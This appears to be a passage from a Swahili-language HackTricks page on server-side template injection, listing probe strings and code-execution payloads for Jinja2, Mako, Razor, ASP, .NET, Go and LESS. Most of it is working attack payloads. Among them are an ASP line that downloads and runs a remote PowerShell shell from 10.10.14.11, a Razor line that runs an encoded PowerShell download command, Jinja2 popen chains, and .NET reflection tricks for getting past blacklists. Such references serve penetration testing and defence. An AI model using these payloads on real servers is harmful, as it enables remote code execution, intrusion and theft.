  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Taarifa zaidi

Jinja2 (Python)

Official website

Jinja2 ni engine ya template yenye vipengele kamili kwa Python. Ina msaada kamili wa Unicode, mazingira ya utekelezaji yaliyolindwa (sandboxed) kama chaguo, inatumiwa sana na ina leseni ya BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Muundo wa template

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE haitegemei na __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maelezo zaidi kuhusu jinsi ya kutumia vibaya Jinja:

Jinja2 SSTI

Payloads nyingine zinapatikana katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Maelezo zaidi

Python Nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Njia ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye server na hivyo kuunda webshell. Unaweza kupata mfano wa webapp dhaifu katika https://github.com/cnotin/RazorVulnerableApp

Maelezo zaidi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Taarifa Zaidi

.Net Kuepuka vizuizi

Mekanizimu za .NET Reflection zinaweza kutumika kuepuka blacklisting au classes zisizokuwepo katika assembly. DLL’s zinaweza kupakiwa wakati wa runtime kwa methods na properties zinazopatikana kutoka kwa basic objects.

DLL’s zinaweza kupakiwa na:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Utekelezaji kamili wa amri:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Taarifa Zaidi

Mojolicious (Perl)

Hata ikiwa ni perl, inatumia tagi kama ERB katika Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Katika injini ya template ya Go, uthibitisho wa matumizi yake unaweza kufanywa na payloads maalum:

  • {{ . }}: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa object yenye sifa ya Password itapitishwa, {{ .Password }} inaweza kuifichua.
  • {{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Payloads hizi zinapaswa kurudisha “ssti” bila kuongeza “html” au “js”. Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Kwa package text/template, XSS inaweza kuwa rahisi kwa kuweka payload moja kwa moja. Kwa upande mwingine, package html/template inafanya encoding ya majibu ili kuzuia hili (mfano, {{"<script>alert(1)</script>"}} inaleta &lt;script&gt;alert(1)&lt;/script&gt;). Hata hivyo, uainishaji na utiwaji wa template katika Go unaweza kuepuka encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Nakili msimbo

RCE Exploitation

RCE exploitation inatofautiana sana kati ya html/template na text/template. Module text/template inaruhusu kuita any public function moja kwa moja (kutumia thamani ya “call”), jambo ambalo haliruhusiwi katika html/template. Documentation for these modules is available here for html/template and here for text/template.

Kwa RCE kupitia SSTI katika Go, methods za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method System inayoendesha amri, inaweza kutumika kama {{ .System "ls" }}. Kuingia kwenye source code kwa kawaida kunahitajika ili kuweza kuiexploit, kama kwenye mfano uliotolewa:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Taarifa zaidi

LESS (CSS Preprocessor)

LESS ni pre-processor maarufu wa CSS anayeeongeza variables, mixins, functions na directive yenye nguvu ya @import. Wakati wa kompilesheni, engine ya LESS itafanya kuchukua rasilimali zilizorejelewa katika @import statements na kuingiza (“inline”) yaliyomo yao ndani ya CSS inayotokana wakati chaguo la (inline) linapotumika.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Zaidi ya Exploits

Angalia sehemu nyingine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa exploits zaidi. Pia unaweza kupata taarifa za tags zenye kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Msaada unaohusiana

Kama unafikiri inaweza kuwa muhimu, soma:

Zana

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks